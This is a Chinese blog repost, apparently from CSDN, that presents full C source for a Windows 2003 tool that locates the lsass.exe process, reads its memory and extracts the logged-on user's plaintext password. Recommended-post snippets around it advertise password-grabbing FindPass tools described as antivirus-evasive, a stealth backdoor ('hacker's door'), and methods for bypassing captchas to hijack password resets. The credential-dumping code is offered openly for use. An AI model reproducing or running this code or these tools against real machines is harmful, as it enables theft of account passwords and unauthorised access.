转载kernet的永恒国度——XP 和2003的Lsass进程中明文密码

mschart20在vs2010MFC下的安装 1.从网上下载一个mschart20(这个是最新的,可以支持vs2010),在百度里面搜索mschart20就可以了,这里就不贴下载地址了。 2.从网上下载得到mschart20.ocx(无论是直接下载得到的,还是需要进行解压得到的,都需要出现.ocx后缀名才能进行系统注册)。 3.把mschart.ocx拷贝到C:\WINDOWS\SYSTEM32目录里,再运行:REGSVR32.EXE ( 阅读详情

用Winhex读取XP和2003下的Lsass进程的内存数据,可以读取当前登录用户的明文密码.

source code:

//********************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: 12/15/2004
// Purpose: To Demonstrate Searching Logon User Password On 2003 Box,The Method
//          Used Is Pretty Unwise,But This May Be The Only Way To Review The
//          Logon User's Password On Windows 2003.
// Test PlatForm: Windows 2003
// Compiled On: VC++ 6.0
//********************************************************************************
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

#define BaseAddress 0x002b5000        // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This Address,Which Causes The Result Unreliable

char  Password[MAX_PATH] = {0};        // Store The Found Password

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL  FindPassword(DWORD PID);
int   Search(char *Buffer,const UINT nSize);
DWORD GetLsassPID();
BOOL  Is2003();
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

int main()
{
    DWORD PID = 0;
    printf("Windows 2003 Password Viewer V1.0 By WinEggDrop/n/n");

    if (!Is2003())        // Check Out If The Box Is 2003
    {
        printf("The Program Can't Only Run On Windows 2003 Platform/n");
        return -1;
    }

    PID = GetLsassPID();        // Get The Lsass.exe PID

    if (PID == 0)        // Fail To Get PID If Returning Zerom
    {
        return -1;
    }

    FindPassword(PID);        // Find The Password From Lsass.exe Memory
    return 0;
}
// End main()

//------------------------------------------------------------------------------------
// Purpose: Search The Memory & Try To Get The Password
// Return Type: int
// Parameters:  
//           In: char *Buffer        --> The Memory Buffer To Search    
//          Out: const UINT nSize   --> The Size Of The Memory Buffer
// Note: The Program Tries To Locate The Magic String "LocalSystem Remote Procedure",
//       Since The Password Is Near The Above Location,But It's Not Always True That
//       We Will Find The Magic String,Or Even We Find It,The Password May Be Located
//       At Some Other Place.We Only Look For Luck
//------------------------------------------------------------------------------------
int Search(char *Buffer,const UINT nSize)
{
    UINT OffSet = 0;
    UINT i = 0;
    UINT j = 0 ;
    UINT Count = 0;
    if (Buffer == NULL)
    {
        return -1;
    }

    for (i = 0 ; i < nSize ; i++)
    {
        /* The Below Is To Find The Magic String,Why So Complicated?That Will Thank MS.The Separation From Word To Word
        Is Not Separated With A Space,But With A Ending Character,So Any Search API Like strstr() Will Fail To Locate
        The Magic String,We Have To Do It Manually And Slowly
        */
        if (Buffer[i] == 'L')
        {
            OffSet = 0;
            if (strnicmp(&Buffer[i + OffSet],"LocalSystem",strlen("LocalSystem")) == 0)
            {
                OffSet += strlen("LocalSystem") + 1;
                if (strnicmp(&Buffer[i + OffSet],"Remote",strlen("Remote")) == 0)
                {
                    OffSet += strlen("Remote") + 1;
                    if (strnicmp(&Buffer[i + OffSet],"Procedure",strlen("Procedure")) == 0)
                    {
                        OffSet += strlen("Procedure") + 1;
                        if (strnicmp(&Buffer[i + OffSet],"Call",strlen("Call")) == 0)
                        {
                            i += OffSet;
                            break;
                        }
                    }
                }
            }
        }
    }
    if (i < nSize)
    {
        ZeroMemory(Password,sizeof(Password));
        for (; i < nSize ; i++)
        {
            if (Buffer[i] == 0x02 && Buffer[i + 1] == 0 && Buffer[i + 2] == 0 && Buffer[i + 3] == 0 && Buffer[i + 4] == 0 && Buffer[i + 5] == 0 && Buffer[i + 6] == 0)
            {
                /* The Below Code Is To Retrieve The Password.Since The String Is In Unicode Format,So We Will Do It In
                That Way
                */
                j = i + 7;
                for (; j < nSize; j += 2)
                {
                    if (Buffer[j] >  0)
                    {
                        Password[Count++] = Buffer[j];
                    }
                    else
                    {
                        break;
                    }
                }
                return i + 7;        // One Flag To Indicate We Find The Password
            }
        }
    }
    return -1;        // Well,We Fail To Find The Password,And This Always Happens
}
// End Search

//------------------------------------------------------------------------------------
// Purpose: To Get The Lsass.exe PID
// Return Type: DWORD
// Parameters:  None
//------------------------------------------------------------------------------------
DWORD GetLsassPID()
{
    HANDLE hProcessSnap;
    HANDLE hProcess = NULL;
    PROCESSENTRY32 pe32;
    DWORD PID = 0;

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if( hProcessSnap == INVALID_HANDLE_VALUE )
    {
        printf("Fail To Create Snap Shot/n");
        return 0;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    if( !Process32First(hProcessSnap, &pe32))
    {
        CloseHandle(hProcessSnap);     // Must clean up the snapshot object!
        return 0;
    }

    do
    {
        if (strcmpi(pe32.szExeFile,"Lsass.EXE") == 0)
        {
            PID = pe32.th32ProcessID;
            break;
        }
    }while(Process32Next( hProcessSnap, &pe32));

    CloseHandle( hProcessSnap);
    return PID;
}
// End GetLsassPID()

//------------------------------------------------------------------------------------
// Purpose: To Find The Password
// Return Type: BOOLEAN
// Parameters:  
//           In: DWORD PID        ->        The Lsass.exe's PID
//------------------------------------------------------------------------------------
BOOL FindPassword(DWORD PID)
{
    HANDLE hProcess = NULL;
    char   Buffer[5 * 1024] = {0};
    DWORD  ByteGet = 0;
    int    Found = -1;

    hProcess = OpenProcess(PROCESS_VM_READ,FALSE,PID);        // Open Process
    if (hProcess == NULL)
    {
        printf("Fail To Open Process/n");
        return FALSE;
    }

    if (!ReadProcessMemory(hProcess,(PVOID)BaseAddress,Buffer,5 * 1024,&ByteGet))        // Read The Memory From Lsass.exe
    {
        printf("Fail To Read Memory/n");
        CloseHandle(hProcess);
        return FALSE;
    }

    CloseHandle(hProcess);

    Found = Search(Buffer,ByteGet);        // Search The Password
    if (Found >= 0)        // We May Find The Password
    {
        if (strlen(Password) > 0)        // Yes,We Find The Password Even We Don't Know If The Password Is Correct Or Not
        {
            printf("Found Password At #0x%x -> /"%s/"/n",Found + BaseAddress,Password);
        }
    }
    else
    {
        printf("Fail To Find The Password/n");
    }
    return TRUE;
}
// End FindPassword

//------------------------------------------------------------------------------------
// Purpose: Check If The Box Is Windows 2003
// Return Type: BOOLEAN
// Parameters:  None
//------------------------------------------------------------------------------------
BOOL Is2003()
{
    OSVERSIONINFOEX osvi;
    BOOL b0sVersionInfoEx;
    ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);

    if (!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO *)&osvi)))
    {
        osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
    }
    return (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2);
}
// End Is2003()
// End Of File


原文出处http://blog.csdn.net/kernet/archive/2005/03/06/312715.aspx
VC++6.0中MsChart控件的用法   1.   MSChart制图类1.1 添加MSChart控件MSChart是VC++6.0中自带的一个特殊控件类,用于绘制坐标曲线图。如果要使用这个控件,则可以按下图的示意进行添加此控件。        1.2   MSChart控件的使用方法首先在要使用的类的实现文件中包含如下头文件:#include "VcPlot.h"#include "VcAxi 阅读详情

相关推荐

利用C++MSChart在MFC中绘制柱状图、折线图饼状图详解

MSChart控件提供了丰富的样式属性设置,可以根据实际需求自定义图表的外观样式。例如,可以设置不同的颜色、线条样式、字体等,以实现更美观的图表效果。

m0_57781768的博客 1949

findpass.rar

主要运行在本机上,用于获取本机的账号口令,是很不错的网络安全攻防工具软件。具有类似功能的软件还有Minikatz,本人会同时上传。

SAP WS_DELIVERY_UPDATE 实战:动态修改发货数量与过账日期的关键配置

本文深入解析SAP函数模块WS_DELIVERY_UPDATE在物流模块中的实战应用,重点阐述如何通过ABAP代码动态修改交货单的发货数量与过账日期,并实现一键发货过账。文章详细拆解了核心控制参数VBKOK_WA与行项目修改内表VBPOK_TAB的配置逻辑,提供了完整的代码示例与避坑指南,是提升SAP物流流程自动化与系统集成能力的关键技术。

weixin_29207533的博客 277

FindPass.exe

找系统管理员密码的工具~已经做了免杀,~希望大家喜欢~成功率不错~

windowsSP2 下 用 FINDPASS 截取密码

命令行下卸载Windows2003 SP1/SP2%systemroot%/$NtServicePackUninstall$/spuninst/spuninst/U按无人参与模式删除 service pack。如果使用此选项,那么在卸载 SP1 的过程中,只有出现致命错误才会显示提示。/Q按安静模式删除 SP1,此模式与无人参与模式相同,只是隐藏了用户界面。如果使用此选项,那么在卸载 SP1 的过

|独自望海。。。 3694

java 帐号激活与忘记密码 实例

  [置顶] JavaMail学习笔记(七)、帐号激活与忘记密码 实例 分类: JavaMail JavaEE2012-07-08 23:44 158人阅读 评论(0) 收藏 举报 一、帐户激活           在很多时候,在某些网站注册一个用户之后,网站会给这个用户注册时填写的email地址发送一封帐户激活邮件,这封邮件的内容就是一个激活帐户的链接一段简短的文...

Hi, Sun 659

发送邮箱实现找回密码

注意事项 1、.开启socket:在php.ini中取消extension=php_sockets.dll前面的分号。 2.登录你的邮箱手动开启STMP服务,这个服务默认是关闭的,一定要去邮箱->设置里去手动开启,开启时要求你设置一个独立密码,这个密码就是写在 'MAIL_PASSWORD'=>' ', // 邮箱密码,的密码而不是邮箱登录密码 3、userinfo中加上一个字段Rese

xiesumin的专栏 7411

苹果cms标签代码

模板标签 本篇主要讲解v10自带系统标签模板规范 模板目录 系统模板系统放在/template/目录下。在后台站点设置中,可以选择当前使用的模板 code │─template/1/ 模板1 │ ├─info.ini 模板信息文件 │ ├─ads 广告文件目录 │ ├─js js文件 │ ├─css css文件 │ ├─images 图片文件 │ └─html 模板文件目录 │ └─ar...

苹果cms10好看的模板 1万+

黑客之门(hacker's door) 1.2 版

黑客之门(hackers door) 1.2 版 黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被感染的系统文件大小日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,这使得它很容易穿透防火墙,目前还没有工具能发现它。 黑客之门独特的文件感染启动方式端口重用

CLassic_Ms的专栏 5593

MFC中MSChart的使用示例

最近由于工作的原因,接触了一些MSChart的东西。在查看的资料的时候发现,网上很多资料是关于在VBC#中利用MSChart实现图表的绘制,但关于在MFC中利用MSChart实现图表绘制的资料甚少,因此在做的过程中遇到了很多问题,下面对MFC中使用MSChart进行简单的小结: 1.   添加MSChart        点击VS中的“工具-选择工具箱-COM组件”,找到Microsof

3492

MFC中MSChart控件安装使用

1、首先先下载MSChart.exeMSCHART20.OCX。 下载地址:https://download.csdn.net/download/lly_117/10304480 2、安装MSChart.exe, 3、注册MSCHART20.OCX,其中,注册过程: 把 MSCHRT20.OCX放到 c:\Windows\SysWOW64(注:需要管理员权限) 开始-程序-附...

lly_117的博客 5685

利用FindPass.exe pulist.exe 获取其他帐户密码

利用FindPass.exe pulist.exe 获取其他帐户密码

获取系统管理员密码账号 Findpassword.rar

获取系统管理员密码账号 Findpassword.rar 获取系统管理员密码账号 Findpassword.rar 获取系统管理员密码账号 Findpassword.rar 获取系统管理员密码账号 Findpassword.rar

findpass程序

findpass程序是一款获取主机 名密码的工具。

关于定位lsass内存中的明文密码(转)

所谓“不到黄河心不死”、“不撞南墙不回头”、“不见棺材不掉泪”,人是不容易死心的。在没搞清楚lsass内存中明文密码从哪里来到哪里去之前,对它总抱有一丝幻想。最早是在netxeyes看到关于lsass里有明文密码的帖子,当时就想跟踪一下,确定它的位置。后来在安焦又见有人提起,于是建议高手研究一下,可是没有回应。可能是因为高手都一眼看出这没有研究价值。为了消灭“最终の幻想”,我只好自己动手。对于De...

weixin_34381666的博客 479

绕过验证码并攻击密码找回的几种方法

验证码绕过攻击密码重置的几种常用方法 1. 枚举验证码爆破 使用burpsuite的intruder功能对验证码进行枚举发包;适用于系统没有对验证码填写次数进行限制的情况。 2、在响应中寻找验证码 使用浏览器控制台或者burp,在响应中寻找验证码;有的系统会存在这个漏洞。 3、使用自己的账号接收的验证码去重置他人账号的密码 使用自己的手机号或邮箱正常接收验证码,在浏览器填写好此验证码码后并发送,同...

heyman666的博客 4395

java发送邮件完成密码找回功能

这里我想的一种核验方式是,将重置的密码发送给用户,邮件里附带激活地址,激活地址实际上就是后台的一个接口,参数为重置的密码,用户点击激活地址,才开始修改数据库的密码。如果存在,则开始重置密码,把重置完成的密码以邮件的形式发送给用户,并修改数据库的密码。这个存在的问题是没有很好的核验,也就是任何知道你邮箱的人,都可以重置密码,当然,这个密码只会发到你这里,应该也问题不大。想给管理系统加上个密码找回的功能,一开始想的是新增一个管理员重置密码的接口,但是想想还是能有个自助找回的功能,毕竟比较方便。...

weixin_42260782的博客 1467

findpass

findpass

weixin_34270606的博客 716
上一篇: 转载kernet的永恒国度——任意用户模式下执行Ring代码
下一篇: 真是学无止境阿——关于PCA投影建模,今天又学到了很多
shidongdong
博客等级 码龄25年 2粉丝 13原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值